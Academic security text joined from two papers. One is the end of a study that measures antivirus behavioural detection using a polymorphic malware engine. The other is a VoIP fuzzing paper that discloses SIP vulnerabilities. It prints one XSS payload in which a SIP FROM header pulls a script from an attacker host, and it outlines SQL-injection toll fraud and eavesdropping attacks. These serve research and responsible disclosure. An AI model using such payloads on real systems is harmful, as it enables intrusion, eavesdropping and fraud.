enumerate significant variants of an original strain. As a consequence, func-
tional polymorphic engines may be valuable tools to assess the coverage of
behavioral detectors just like simple metamorphic mutations can be used for



assessing signature-based detection (Christodorescu & Jha, 2004).
One could object that it may be very easy to establish a signature for the

invariant core of our engine. However, this engine has not been developed to
become an operational viable attack. This prototype has been implemented
for research and testing purposes. Besides, the absence of signature is a pre-
requisite of the test procedure, otherwise form-based detection would hinder
the evaluation by detecting preemtively the engine before any action of the
behavioral detector.

Test platform

The first step was to develop the prototype and, using on-demand scan, to
make sure that no syntactic signature existed for it. A platform was then
required to observe the execution of a piece of malware in an environment
protected by the antivirus product to be tested. For this, we have chosen
to use a virtual machine, mainly for two reasons: the first is to prevent any
infection of the real machine to occur, and the second is the capability to reset
the platform in a clean state in case the malware variants are not detected.
The global architecture of the test platform is described in the Figure 10 and
additional information are given below:

Guest Machine: Qemu (Qemu, 2008) has been used for the emulation of
the virtual environment. Windows XP SP2 has then been installed and
configured as a personal computer: additional services usually used by
malware have been installed such as a mail client and a peer-to-peer
client. In addition, an ISP account has been configured with differ-
ent account information like the associated SMTP server for example.
Once the installation achieved, the disk image has been duplicated into
clean copies, to receive the different antivirus products and the virus
itself (without running it yet). From there, the tests simply consist in
executing several times the engine in the virtual machine, the machine
running in snapshot mode to restart it after each infection.

Host Machine: A tap has been installed between the host machine and the
guest machine in order to establish a virtual network communication
between them. In parallel of the guest machine, a fake SMTP server
was running on the host, listening on port 25, dumping the SMTP
packets received and responding with the correct acknowledgements.



The host file of guest OS had been previously rewritten in order to
route all the traffic of the different servers toward the tap.

Figure 10: Test platform. This figure pictures the different elements and services
running on the platform, either on the host machine or inside the guest operating
system.

Evaluation deployment

The test platform is fully operational and has been used to assess different
antivirus products whose results are given below (Sections 5.3.1 to 5.3.4).
Four products have been selected, integrating different levels and techniques
of behavioral detection (behavioral blockers, heuristic, state automata (Jacob
et al., 2008a)). Please keep in mind that the results are not given for a survey
of the antivirus market but only to validate our procedure.

DrWeb results

According to the results shown in Table 1, no monitoring of the actions taken
by the malware must be done in this version of DrWeb. However the editor
announced a few months ago, the addition of a new engine to traditional sig-
nature scan and heuristic analysis: Origins TracingTM specifically designed
to detect unknown malware. No more information is given on its function-
ing, we can only assume it is not based on behavioral models because the
behaviors embedded in our mutation engine are inspired from common mal-
ware and are thus basically well known by analysts. It is simply the way



DrWeb Anti-virus for Windows 4.44 (2008)
Editor: Doctor Web, Ltd.
Number of executions Detection rate (%): Detection rate (%):

Resident protection Mail protection
500 0(0%) 0(0%)

Table 1: Detection results for DrWeb. Software version: DrWeb(R) Virus-
Finding Engine - drweb32.dll (4,44,0,09176) / SpIDer Guard Service - Spidernt.exe
(4,44,4,09260) / SpIDer Mail (R) for Windows - spidermail.exe (4,44,1,12220) /
Signature base: 14.01.2008 / 283790 entries

they are deployed and combined which differs. If behavioral detection was
integrated, the standard behaviors among the hundreds of executions should
at least have been recognized.

NOD32 results

NOD32 Anti-virus 3.0.621.0 (2008)
Editor: ESET
Number of executions Detection rate (%):

Real-time file system protection
500 71 Probably unknown new Heur PE virus (14%)

Table 2: Detection results for NOD32. Threat Sense Early Warning System,
Protection from potentially unwanted application and Resident protection acti-
vated. Signature database: 2740(20071221) / Antivirus and Antispam scanner
module: 1001(20071221) / Advanced heuristic module: 1068(20071119)

According to the results shown in Table 2, NOD32 seems to use heuristics
for behavior monitoring as the labels of the detected variants suggest. These
variants are all detected through their attempts to replicate: the target of the
duplication cause the detection as written down in the log. If we look closer at
these variants, the only common point they share is that they derive from the
<DirectTransfer> rule from duplication (see Section 4.3, Figure 8). This
particular derivation is translated using the system call CopyFile in order to
copy the malicious code. On the other hand, the other duplicaton attempts
using the standard ReadFile and WriteFile primitives are not detected. This
interpretation does not seem inconsistent with our result: on average 20% of
the variants should be derived from the <DirectTransfer> rules and 14%
were detected in practice, independently from the location of the target.
With a greater number of tests we should come closer to the theoretical



probability but still the observed gap is not too consequential.

Product A results 1

Product A (2008)
Editor: X
Number Non Generic Generic
of executions labelled P2PWorm∗ Trojan∗∗ Total
500 Blocking run 98(19, 6%) 11(2, 2%) 26(5, 2%) 135(27%)

registering
Non 300(60%) 42(8, 4%) 23(4, 6%) 365(73%)
blocked

398(79, 6%) 53(10, 6%) 49(9, 8%) 500(100%)
Total

Table 3: Detection results for Product A. (∗) Description: ”attempting to
copy towards a network resource” - (∗∗) Description: ”registering its copy on the
system”

Product A, whose results are given in the Table 3, combines two different
methods of behavioral detection: behavioral blocking for registry monitor-
ing and global activity monitoring. Behavioral blocking is preemptive and
thus the first engine to detect the different variants. The tests have resulted
in 27% of detection which, after verification, covers all the variants making
themselves resident through the run registry key. This detection rate is con-
sistent with the probability of one in three to choose this method of residency.
If all attempts have been detected, however, no correlation is done and the
final decision is left to the user. To follow the process, we have chosen to
accept by default the operation and keeps on with the detection.

The second detection pass relies on activity monitoring and seems in-
dependent from the behavioral blockers and its decisions. The monitoring
engine correlates a certain number of actions (file creations, file or registry
modifications...) to support its decision. Two generic threats are detected
but with a relatively low rate according to the results of the Table 3: generic
P2P Worms or generic Trojans. No common patterns could be found to help
understanding the detection support. In addition, contrary to P2P shared
directories, no monitoring seems to be deployed on mail activity and in par-
ticular its suspicious use for propagation, even for those labelled as Trojan.

1Product has been anonymized because the terms concerning blackbox evaluation in the
licence contract were unclear. The product is not to be used in automatic, semi-automatic
or manual tools designed to create virus signatures, or virus detectors.



Product B results 1

Product B (2008)
Editor: X
Monitored behaviors

βd=”copy an executable file to a sensitive area”
βp=”copy to an area of your computer that shares files with others”
βm=”connect Internet in a suspicious manner to send out mail”
βl=”copy to multiple locations”
βr=”attempt to register itself in your Windows system startup”
Number of executions Detected behaviors Detection rate
500 {} 44(8, 8%)

{βm} 80(16%)
{βd, βl} 16(3, 2%)
{βp, βl} 140(28%)
{βm, βl} 16(3, 2%)
{βm, βr} 32(6, 4%)
{βd, βp, βl} 68(13, 6%)
{βd, βm, βl} 20(4%)
{βp, βl, βr} 48(9, 6%)
{βc, βp, βl, βr} 28(5, 6%)
{βc, βm, βl, βr} 8(1, 6%)

Table 4: Detection results for Product B.

Product B also relies on action monitoring but contrary to product A
which searches for a global generic behavior (P2P Worms, Viruses, Tro-
jans...), product B looks for individual fine-grained suspicious behaviors as
described in the Table 4. For each detected behavior, the user is warned
and asked for a decision: by default we have accepted all operations in or-
der to continue the detection process (for this reason, the results have been
gathered according to the different behavior combinations). At first glance,
the results are quite promising with an excellent coverage. Only duplication
seems to be problematic (20, 8% of detection for βc whereas it is present in
100% of the variants). This can be explained by the fact that only sensitive
areas are monitored, that is to say the system directories. A second explana-
tion, which is also valid for propagation through P2P shared directories, is
that standard C primitives, different from the Windows standard ones, can
be used in order to bypass the engine. On the other hand, every attempt to
propagate through mail has been detected without exception. With regards
to residency, all attempts to register through a run registry key have also
been detected but none of the other techniques.

This product offers the best coverage even if the ideal case would be the
detection of the four behaviors at every execution (Mail variants: {βc, βm, βl, βr}



and P2P variants: {βc, βp, βl, βr}). In practice, no correlation is done between
these behaviors which would help to identify generic threats in case of re-
peated erroneous decisions from the user. Some additional tests would also
be interesting to check that these good results do not result in an exacerbated
false positive rate.

Global evolution in behavioral detection

Through the tested products, we were partially satisfied to notice an evolu-
tion from our first evaluation two years ago (Filiol et al., 2007). According to
these previous tests, we had come to the conclusion that either behavioral de-
tection was unused by antivirus products or behavioral detection was severely
hindered by its correlation with signature-based detection. This situation no
longer seems to be in practice and the tests have shown a real deployment
of behavioral detection even if some progress remains to be achieved with
regards to the behavioral signatures and models.

Another global observation put forward by this test procedure is the di-
versity in the techniques of behavioral detection chosen from an editor to
another. No single detection solution has really superseded the others. This
observation is also relevant with regards to the behavioral models: according
to the products, the behavioral models can be global ones with generic classes
of malware or fine-grained with individual behavior descriptions (duplication,
residency, mail propagation, P2P propagation). This can be explained by the
fact that behavioral detection is still a recent and active research field pro-
ducing new results evrey year.

Use case in software protection

It is not really surprising that, the techniques for software protection and
the techniques used in malware to mutate and thwart analysis, are strongly
linked. The purpose is basically the same. Malware creators often use these
techniques to slow down the analysis process led by experts in order to extract
a signature or information to identify the attack. The only difference lies
in the time available to analyze the code between a hacker and an expert
overwhelmed by thousands of variants. We think that functional polymorphic
engines provide interesting features with respect to software protection:



Static analysis: The control flow graph of the effective code is only written
during execution. The control flow directly depends on the randomly
chosen annoted derivation tree. This means that even if a hacker use an
emulator to collect the generated code, he will only collect a single ver-
sion among several equivalent variants. Besides, this building respects
an important principle in anti-tampering protection that is the depen-
dence between the control flow and the data flow (Wang, Hill, Knight,
& Davidson, 2000). Here the code structure and control directly de-
pends on random data generated during derivation. Trying to address
the analysis of the engine itself, the hacker will be confronted to an
important amount of alternative execution paths in the derivation and
translation modules. The number of branching is actually proportional
to the entropy calculated in Section 3.2.

Dynamic analysis: Once again, the code is only written during execution
and it weights heavily on dynamic analysis in particular with regards
to breakpoints. Independently from the execution level of the debugger
(ring 0 or ring 3), the hacker does not know exactly where the code
will be built in memory until the allocation. Moreover, the code will
be different from an execution to an other, meaning that the predicted
location of the breakpoint is likely to be at the wrong address, possibly
unaligned with the assembly code.

Limitations: The main drawback from these engines is that they introduce
an original overload explained by the code building. Consequently,
functional polymorphic generation should be restricted to limited criti-
cal portions of code, but sufficiently important to offer enough possible
variations. In addition, just like any other anti-tampering technique,
these engines exhibit some weaknesses. The security of the scheme
relies on the difficulty to establish a correspondence between the orig-
inal point of the derivation (the start symbol) and the purpose of the
generated code. This correspondence is hard to tell because of the nu-
merous intermediate functions implicated in derivation, but it could be
found more easily using forced branching instead of random branching
during derivation. But using a combination of different anti-tampering
techniques, they can consolidate each other. In particular, dynamic in-
tegrity checking (Horne, Matheson, Sheehan, & Tarjan, 2001) and anti-
debug techniques could thwart forced branching. The implications of



functional polymorphic engines in software protection have been briefly
described here to argue their potential uses but they should be explored
in greater details.

Conclusion

Contribution and ethical considerations

In this paper, we have introduced the new concept of automated functional
mutations from both the theoretical perspective and the operational per-
spective. The functional polymorphism engines are simply the automation
of what most malware writers actually do: to take a known strain and slightly
modify their functionalities to avoid detection. We did not intend to make
their task easier. The fact is that we were more interested in the possi-
ble applications for security researchers and experts. In particular, we have
put forward two possible use cases: for behavioral detectors assessment by
simulation of unknown malware using known techniques and for software
protection by dynamic generation of variable code. In practice, an impor-
tant amount of work remains before offensive malware can be obtained from
our engine. We have only a limited set of the most common behaviors at
our disposal (no complex payload for example), and these behaviors are all
based on existing malicious techniques meaning that they remain detectable.
In addition, the engine itself could easily be detected by signature just like
decryption routines in polymorphism.

Perspectives and solutions

The perspective is now to make the engine richer with additional behaviors
but also to increase the number of possible derivations with new semantic at-
tributes. These enhancements should result in a greater completeness of our
test procedure for behavioral detectors. On the opposite, detection should
also benefit from this work. Basically, functional polymorphism engines and
behavioral detectors have an inverse functioning: a mutation engine imple-
ments an abstract model into binary code for execution whereas the detector
translates execution information into an abstract description for comparison
to a model. Therefore, a translation mechanism could prove useful to gen-
erate new behavioral signatures with a better coverage than the one used in



the tested products. Current works are in progress in order to develop such
an analyzer based on behavioral grammars.



References

Le Charlier, B., Mounji, A., & Swimmer, M. (1995). Dynamic Detection
and Classification of Computer Viruses Using General Behaviour Patterns.
Proceedings of the 5th Virus Bulletin Conference.

Christodorescu, M., & Jha, S. (2004). Testing Malware Detectors. Proceed-
ings of ACM SIGSOFT - Intl Symp. Software Testing and Analysis (ISSTA
04), pp. 34-44.

Filiol, E. (2006). Malware Pattern Scanning Schemes Secure Against Black-
box Analysis. Journal in Computer Virology 2(1), EICAR 2006 Special Is-
sue, V. Broucek Ed., pp. 35-50. Springer Verlag.

Filiol, E. (2007a). Techniques Virales Avancées. ISBN: 2-287-33887-8, Springer
Verlag, IRIS Collection.

Filiol, E. (2007b). Metamorphism, Formal Grammars and Undecidable Code
Mutation. Proceedings of the International Conference on Computational
Intelligence (ICCI), Published in the International Journal in Computer Sci-
ence 2(1), pp. 70-75.

Filiol, E., Jacob, G., & Le Liard, M. (2007). Evaluation Methodology and
Theoretical Model for Antiviral Behavioural Detection Strategies. Journal
in Computer Virology 3(1), WTCV’06 Special Issue, G. Bonfante and J-Y.
Marion Eds, pp. 23-37. Springer Verlag.

Ford, R., Wagner, M., & Michalske, J. (2004). Gatekeeper II: New Ap-
proaches to Generic Virus Prevention. Proceedings of the 14th Virus Bulletin
Conference.

Fortinet (2006). Fortinet Observatory. www.fortinet.com/FortiGuardCenter/

Gao, D., Reiter, M.K., & Song, D. (2004). On Gray-box Program Tracking
for Anomaly Detection. Proceedings of the 13th USENIX Security Sympo-
sium, pp. 103-118.

Hopcroft, J.E., Motwani, R., & Ullman, J.D. (1995). Introduction to Au-
tomata Theory, Languages and Computation, Second Edition. ISBN: 0-201-
44124-1, Addison Wesley.

Horne, B., Matheson, L.R., Sheehan, C., & Tarjan, R.E. (2001). Dynamic
Self-Checking Techniques for Improved Tamper Resistance. Proceeding of
the Digital Rights Management Workshop, pp. 141-159.



Jacob, G., Debar, H., & Filiol, E. (2008a). Behavioral Detection of Malware:
From a Survey Towards an Established Taxonomy. Journal in Computer
Virology 4(3), WTCV’07 Special Issue, G. Bonfante and J-Y. Marion Eds.
Springer Verlag.

Jacob, G., Filiol, E., & Debar, H. (2008b). Malwares as Interactive Machines:
A New Framework for Behavior Modelling. Journal in Computer Virology
4(3), WTCV’07 Special Issue, G. Bonfante and J-Y. Marion Eds. Springer
Verlag.

Knuth, D.E. (1968). Semantics of Context-Free Grammars. Theory of Com-
puting Systems 2(2), pp. 127-145.

The Mental Driller (2002). Metamorphism in Practice. 29A E-zine 6. www.

29a.net.

Noll, T. (2006). Compiler Construction, Lectures 15 to 18: Semantic Anal-
ysis. RWTH Aachen University. www-i2.informatik.rwth-aachen.de/

Teaching/Course/CB/2006/Slides/.

Preda, M.D., Christodorescu, M., Jha, S., & Debray, S. (2007). A Semantic-
Based Approach to Malware Detection. Proceedings of the 34th ACM SIGPLAN-
SIGACT Symposium on Principles of Programming Languages (POPL).

Qemu (2008). QEMU - Open Source Processor Emulator. http://fabrice.
bellard.free.fr/qemu/.

Shannon, C.E. (1948). A Mathematical Theory of Communications. Bell
System Technical Journal 27, pp. 379-423 and 623-656.

Spinellis, D. (2003). Reliable Identification of BoundedLength Viruses is NP-
Complete. IEEE Transactions on Information Theory 49(1), pp. 280-284.

Ször, P. (2005). The Art of Computer Virus Research and Defense. ISBN:
0-321-30454-3, Addison Wesley.

Wagner, D., & Soto, P. (2002). Mimicry Attacks on Host Based Intrusion
Detection Systems. Proceedings of the 9th ACM Conference on Computer
and Communications Security.

Wang, C., Hill, J., Knight, J., & Davidson, J. (2000). Software Tamper
Resistance: Obstructing Static Analysis of Programs. Technical report CS-
2000-12.





Fuzzing for vulnerabilities in the VoIP space

Humberto Abdelnur & Radu State & Olivier Festor

About Author(s)
Humberto Abdelnur is a Ph.D. student at INRIA Nancy Grand Est.
Contact Details: c/o INRIA Nancy Grand Est, 615 rue du Jardin Botanique,
VILLERS-
LES-NANCY - 54600, France. phone +33 (0)3.83.59.20.48,
e-mail: Humberto.Abdelnur@loria.fr

Radu State is a Ph.D. senior researcher.
Contact Details: c/o INRIA Nancy Grand Est, 615 rue du Jardin Botanique,
VILLERS-
LES-NANCY - 54600, France. phone +33 (0)3.83.58.17.48,
e-mail: Radu.State@loria.fr

Olivier Festor is a Ph.D. research director.
Contact Details: c/o INRIA Nancy Grand Est, 615 rue du Jardin Botanique,
VILLERS-
LES-NANCY - 54600, France. phone +33 (0)3.83.59.30.66,
e-mail: Olivier.Festor@loria.fr

Keywords
Protocol fuzzing, VoIP security





Fuzzing for vulnerabilities in the VoIP space

Abstract Voice over IP is emerging as the key technology in the current
and future Internet. This paper shares some essential practical experience
gathered over a two years period in searching for vulnerabilities in the VoIP
space. We will show a terrifying landscape of the most dangerous vulnerabil-
ities capable to lead to a complete compromise of an internal network. All
of the described vulnerabilities have been disclosed responsibly by our group
and were discovered using our in-house developed fuzzing software KIF. The
paper provides also mitigation techniques for all described vulnerabilities.

Introduction

Over the past few years, protocol fuzzing emerged as a key approach for
discovering vulnerabilities in software implementations. The conceptual idea
behind fuzzing is very simple: generate random and malicious input data and
inject it in an application. This approach is different from the well established
discipline of software testing where functional verification is checked. In
fuzzing, this functional testing is marginal; much more relevant is the goal
to rapidly find potential vulnerabilities. Protocol fuzzing is important for
two main reasons. Firstly, having an automated approach eases the overall
analysis process. Such an process is usually tedious and time consuming,
requiring advanced knowledge in software debugging and reverse engineering.
Second, there are many cases where no access to the source code/binaries is
possible, and where a “black box” type of testing is the only viable solution.
Protocol fuzzing can be applied to a broad scope of applications, ranging from
device level implementations (Butti & Tinnès, 2008) and up to presentation
layer (Sutton et al., 2007).

We describe in this paper the practical experience gained over a two years
period with fuzzing in the VoIP space. We performed fuzzing of different de-
vices and SIP stacks in order to validate our research activity on automated
and smart fuzzing. All of the described tests, were performed with our de-
veloped tool, described in (Abdelnur et al., 2007c). Our fuzzing approach
is based on stateful protocol fuzzing for complex protocols (like for instance
SIP). To the best of our knowledge, this is the first SIP fuzzer capable to go
beyond the simple generation of random input data. Our method is based on
a learning algorithm where real network traces are used to learn and train an



attack automata. This automata is evolving during the fuzzing process. Our
work in this area is motivated by two major factors: firstly we validate prac-
tically the formal research contributions in the area of fuzzing. Secondly, we
discover vulnerabilities and follow an responsible disclosure policy by helping
vendors to fix them and notifying the affected parties via large distribution
mailing lists, web sites and podcast.

We will cover these issues in depth in our paper, which is structured as fol-
lows: the first section starts with a short overview on the VoIP infrastructure
that has been used for the study described in this paper. The next remain-
ing sections detail the broad scope of the types of vulnerabilities, ranging
from simple input validation vulnerabilities and up to cross-layer and multi-
technology comprising examples. The final section in this paper concludes
the paper and point out future relevant evolutions.

Fuzzing Voice over IP devices

Voice over IP infrastructures are application level specific devices using inter-
net technology as underlying transport layer. End users operate simple end
devices (phones) by leveraging different types of servers in order to manage
the mobility, localization and user to user call establishment. This call estab-
lishment is performed by a signaling protocol, where SIP (Schulzrinne et al.,
2002) is becoming the de-facto standard body endorsed protocol. Therefore
all VoIP devices do embed SIP stacks which are responsible to process SIP
messages and to implement a rather complex state machine. In most cases,
the access to the source code of the SIP stacks is impossible and for most
VoIP hardphones, running in dedicated equipment, no debugging possibility
exists for an independent security researcher. The only resort to perform a
security assessment is in this case to perform black-box security testing. We
have performed our security and fuzzing experiments over a broad scoped
and heterogeneous testbed which is summarized in table 1

All the experiments were performed with our tool, KiF (Abdelnur et al.,
2007c). KiF consists in two autonomous components, the Syntax Fuzzer and
the State Protocol Fuzzer, which jointly provide a stateful data validation
entity. The tests may be similar to the normal behavior or can flood the de-
vice with malicious input data. Such malicious data can be syntactically non
compliant (with respect to the protocol data units), or contain semantic and
content wide attack payload (buffer overflows, integer overflows, formatted



Device Firmware

Asterisk
v1.2.16, v1.4.1
asterisk-addons-v1.2.8
asterisk-addons-v1.4.4

Cisco 7940/7960
vP0S3-07-4-00
vP0S3-08-6-00
vP0S3-08-7-00

Cisco CallManager v5.1.1
FreePBX v2.3.00
Grandstream Budge Tone-200 v1.1.1.14
Grandstream GXV-3000 v1.0.1.7

Linksys SPA941
v5.1.5
v5.1.8

Nokia N95 v12.0.013
OpenSer v1.2.2
Thomson ST2030 v1.52.1
Trixbox v2.3.1

Table 1: Tested equipment

strings, or heap overflows).
The Syntax Fuzzer takes a fuzzer scenario and the provided ABNF (Crocker,

1997) syntax grammar to generate new and crafted messages. The fuzzer sce-
nario drives the generation of the rules in the syntax grammar and may also
depend on the State Protocol Fuzzer in order to generate the final message
(appropriated or not) to be sent to the target entity.

The State Protocol Fuzzer does passive and active testing. Therefore,
two state machines are required: 1) one specifying the SIP state machine
and 2) one specifying the testing state machine. The first state machine is
used for the passive testing and it controls if there is any abnormal behavior
coming from the target entity during the execution of the tests. This state
machine may be infered from the SIP traces of the target entity. The second
state machine is used for the active testing and it’s driving the profile of the
security test. This state machine is defined by the user and can evolve over
time. Figure 1 shows the overall framework of KiF.

Weak Input Validation

The most frequent vulnerability that we encountered is related to weak filter-
ing of input data. This filtering does not properly deal with metacharacters,
special characters, over lengthy input data and special formatting charac-
ters. Most of these vulnerabilities are due to buffer/heap overflows, or format



Figure 1: KiF framework

string vulnerabilities. The most probably cause is that developers assumed
a threat model in which VoIP signaling data would be generated only by
legitimate SIP stacks. The real danger of this vulnerability comes from the
fact that in most cases, one or very few packets can completely take down
a VoIP network. This is even more dangerous when realizing that in these
cases the SIP traffic is carried over UDP, such that highly effective attacks
can be performed stealthy via simple IP spoofing techniques. Table 2 shows
some of our published vulnerabilities, where we have decided to highlight two
extreme cases: The first vulnerability (disclosed in CVE-2007-4753 ) reveals
that even the simplest check for the existence of the input is not performed
and that even simple attacks can lead to effective attacks. The second case,
(CVE-2007-1561 ) is situated at the opposite site, since a VoIP server is con-
cerned by an attack with a rather complex input structure. The danger in
this case is that one single packet will take down the core VoIP server and
thus lead to a complete take down of the whole VoIP network.

Preventing these types of attacks at a network defense level is possible
with deep packet inspection techniques and proper domain and application
specific packet filtering devices.



Device Synopsis CVE-Identifier Impact
Asterisk v1.4.1 Invalid IP address in the SDP body CVE-2007-1561 DoS
Cisco 7940/7960

Invalid Remote-Party-ID header CVE-2007-1542 DoS
vP0S3-07-4-00
Grandstream Budge

Invalid WWW-Authenticate header CVE-2007-1590 DoS
Tone-200 v1.1.1.14
Linksys SPA941 v5.1.5 Invalid handling of the \377 character CVE-2007-2270 DoS/String

overflow

Thomson ST2030 v1.52.1
Invalid SIP version in the Via header CVE-2007-4553

DoSInvalid URI in the To header
CVE-2007-4753

Empty packet
Linksys SPA-941 v5.1.8 Unescaped user info CVE-2007-5411 XSS at-

tacks
Asterisk v1.4.3 Unescaped URI in the To header CVE-2007-54881 SQL injec-

tion and
Toll-fraud

FreePBX v2.3.00
Unescaped URI in the To header (Abdelnur, 2007b) XSS attacks

Trixbox v2.3.1

Table 2: Input Validation Vulnerabilities

Attacks against the internal network

Most VoIP devices have embedded web servers that are typically used to
configure them, or to allow the user to see the missed calls, and all the call
log history. The important issue is that the user will check the missed calls
and other device related information from her machine, which is usually on
the internal network. If the information presented is not properly filtered,
this same user will expose her machine (located on the internal network)
to malicious and highly effective malware. We will illustrate the following
example discovered during a fuzzing process (see CVE-2007-5411 ). The
VoIP Phone Linksys SPA-941 (Version 5.1.8) has an integrated web server
that allows for configuration and call history checking. A Cross Site Scripting
vulnerability (XSS) (Fogie et al., 2007) allows a malicious entity to perform
XSS injection because the ”FROM” field coming from the SIP message is
not properly filtered. By sending a crafted SIP packet with the FROM field
set to :

"<script x=’" <sip:’src=’http://baloo/beef/y.js’>\

@192.168.1.9:5060>;tag=1"

the browser is redirected to include a javascript file (y.js) from an external
machine (baloo) as shown in Figure 2. This external machine is under the
control of an attacker and the injected javascript (Fogie et al., 2007) allows a



remote attacker to use the victim’s machine in order to scan the internal net-
work, perform XSRF (Cross Site Request Forgery) attacks, as well as obtain
highly sensitive information (call record history, configuration of the internal
network), deactivate firewalls or even redirect the browser towards malware
infested web pages (like for instance MPACK (MPack) to compromise the
victim’s machine. The major and structural vulnerability comes in this case,
by the venture of two technologies (SIP and WEB) without addressing the
security of the cross-technological information flow.

Figure 2: Linksys SPA-941 XSS attack

The impact of this vulnerability is very high : most firewalls/IPS will
not protect the internal network against XSS attacks delivered over SIP.
Additionally, users will connect to these devices directly from the internal
network and therefore the internal network can be compromised. Jeremiah
Grossmann (Fogie et al., 2007) showed how firewalls can be deactivated with
XSS attacks and many other malicious usages do exist. Unfortunately, most
VoIP devices have weak embedded WEB applications, such that other vul-
nerable systems exist and are probably exploited in the wild.

Protocol Tracking Vulnerabilities

Protocol tracking vulnerabilities go beyond simple input filtering of single
messages. In this type of vulnerability, several messages will lead a targeted
device in an inconsistent state, albeit each message on its own does not violate
the SIP RFC (Schulzrinne, 2002). These vulnerabilities are caused by weak



implementations of protocol state engines. Exploiting this vulnerability can
be done in three main ways:

1. the device might receive inputs that are not expected in its current pro-
tocol state: for instance, when waiting for a BYE method, an INVITE
is received

2. the input might consist in simultaneous messages addressed to different
protocol states

3. slight variations in SIP dialog/transaction tracking fields leading a de-
vice towards an inconsistent state

The discovery of such vulnerabilities is truly difficult. The fuzzing process
should be able to identify where a targeted device is not properly tracking
the signaling messages and which fields can be fuzzed in order to detect
it. The search space in this case is huge being spread over many messages
and numerous protocol fields, requiring thus advanced and machine learn-
ing driven fuzzing approaches. Table 3 shows such disclosed vulnerabilities
having different complexity grades.

A simple case (CVE-2007-6371 ), where a CANCEL message arrives ear-
lier than expected, can turn the device into an inconsistent state which will
end up in a Denial of Service state, as showed in Figure 3. The major danger
with this type of attacks is that no application level firewall can completely
track so many flows in real time and that even in the case of known sig-
natures, polymorphic versions of known attacks can be obtained easily and
these will remain under the security radar. As of today, unfortunately no
effective solution to prevent this type of attacks exists.

Toll Fraud vulnerabilities

Toll frauds occur when the true source of a call is not charged. This can
happen by the usage of a compromised VoIP infrastructure or by manipulat-
ing the signaling traffic. It is rather amazing to see that although technology
evolved, the basic conceptual trick of the 70’s, where phreakers reproduced
the 2600 Hz signal used by the carriers is still working. Thirty years after,
the signaling plane can be still tampered with and manipulated by a mali-
cious user. What did change however, is the needed technology. Nowadays,
we can inject SQL commands (Chapter VI in (Lichtfeld et al. 2005)) in the



Device Synopsis CVE-Identifier Impact
Cisco 7940/7960 Does not handle unex-

pected messages (e.g.
OPTIONS)

CVE-2007-4459 DoS

vP0S3-08-6-00 inside an existing IN-
VITE transaction

Grandstream GXV-3000 Unexpected message
inside an INVITE
transaction

CVE-2007-4498
Remote

v1.0.1.7 allows to remotely ac-
cept the call

Eavesdropping

CallManager v5.1.1 Authentication uses
not one-time nonces

CVE-2007-5468
Replay Attacks

OpenSer v1.2.2 CVE-2007-5469
SIP Protocol Attacker can trigger

the target entity to au-
thenticate

(Abdelnur, 2007a) Toll-Fraud

Relay Attack to him
Cisco 7940/7960 Does not handle six IN-

VITE transaction des-
tinated

CVE-2007-5583 DoS

vP0S3-08-7-00 to any user
Nokia N95 v12.0.013 Does not handle a

CANCEL at an unex-
pected timing

CVE-2007-6371 DoS

in an INVITE transac-
tion

Table 3: Stateful Vulnerabilities

Figure 3: Nokia N95 DoS attack



signaling plane, and the toll fraud is possible. In the following, we will de-
scribe in detail one vulnerability found during a fuzzing process (Abdelnur et
al., 2007b). . Some SIP proxies store information gathered from SIP head-
ers into databases. This is necessary for billing and accounting purposes.
If this information is not properly filtered, once it will be displayed to the
administrator it can perform a second order SQL injection, that is during the
display, the data is interpreted as SQL code by the application. In this case,
two consequences can result: First, the database can be changed -for instance
the call length can be changed to a small value - and thus the caller can do
toll fraud. If we consider Asterisk (Asterisk PBX), the popular and largely
deployed open source VoIP PBX, Call Detail Records (CDR) are stored in a
MySQL database.

FreePBX (FreePBX) and Trixbox (Trixbox) use the information stored
in such database in order to manage, compute generate billing reports or
display the load of the PBX.

Some functions do not properly escape all the input characters from fields
in the signaling packets.

A first flavor of this specific attack can be performed by an subscribed
user of the domain and the attack consists of injecting negative numbers
in the CDR table in order to change the recorded length/other parameters
of a given call. The direct consequence is that no accurate accounting is
performed and the charging process is completely controlled by an attacker.

A second and more serious consequence is that this attack can be esca-
lated by injecting JavaScript (Fogie et al., 2007) tags to be executed by the
administrator PC when she will perform simple management operations. In
this case, a Cross-Site Scripting Attack (XSS) (Fogie et al., 2007) is resulted,
because malicious JavaScript can be stored into the database by the SQL
injection. This malware gets executed on the browser when the administra-
tor will check it - this is a very similar process to the log injection attacks
known by the Web application security community. Similarly to the previous
case, tools like Beef and XSS proxy can scan the internal network, deactivate
firewalls and realize all the CSRF/XSRF specific attacks.

The main issue is that most current applications that deal with CDR
data are not considering this type of threat. If the target system is not
well secured, SQL injection can lead to system compromise because most
database servers allow some interaction with the target OS (Lichtfeld et al.,
2002).

This type of vulnerability is rather dangerous because few application



(none of which we have tested) implement filtering on SIP headers. All
applications do consider SIP related information to be sourced from a trusted
origin and no security screening is performed. The mitigation should be
proper input and output filtering whenever data is stored/read from another
software component.

Remote Eavesdropping Vulnerabilities

A rather unexpected vulnerability was discovered by us in CVE-2007-4498.
Several SIP messages sent to the affected device put the phone off-hook
without ringing or making any other visual notification. The attacker is
thus capable to remotely eavesdrop all the conversations performed at the
remote location. Figure 4 shows the messages exchanged by the attack. The
impact if this vulnerability goes beyond the simple eavesdropping of VoIP
calls, because an entire room/location can be remotely monitored. This risk
is major and should be considered when deploying any VoIP equipment.
Although in the presented case, a software error was probably the cause,
such backdoors left by a malicious entity/device manufacturer represent very
serious and dangerous threats.

Figure 4: Grandstream GXV-3000 remote eavesdrop

Weak Cryptographic implementations

The authentication mechanism in SIP is a standard shared secret and challen-
ge-response based one (Johnston & Piscitello, 2006). Nonces are generated by



the server and submitted to an authenticating entity. The latter must use its
shared key to compute a hash which is afterwards sent to the authenticator.
This hash is computed on several values: SIP headers, nonces and random
values. A received hash is validated by the server and checked to authenticate
a client. For efficiency reasons, very few server implementations track the life-
cycle of a valid token. We have found at least two vulnerabilities CVE-2007-
5468 and CVE-2007-5469, where intercepted tokens could be replayed. These
vulnerabilities are not simple man in the middle attacks, since intercepted
tokens were reusable for long time periods and they could be used for the
authentication of any other call. Figure 5 shows the flow of messages for
such attack. The impact of such a vulnerability is very high. Toll frauds and
spoofing call identifiers are the straightforward consequences. The mitigation
consists in trading off performance versus security and implementing efficient
and secure cryptographic token management procedures.

Figure 5: Replay Attack



Specification level Vulnerabilities

Our main work consisted in searching for vulnerabilities in specific SIP im-
plementations without considering the security of the SIP protocol per se.
We were however surprised to discover during a complex fuzzing scenario the
same anomaly (and apparent vulnerability) shared by all devices under test
(table 1). Under a more careful analysis, we did realize that in fact the SIP
protocol itself has a major design vulnerability that makes toll fraud possible
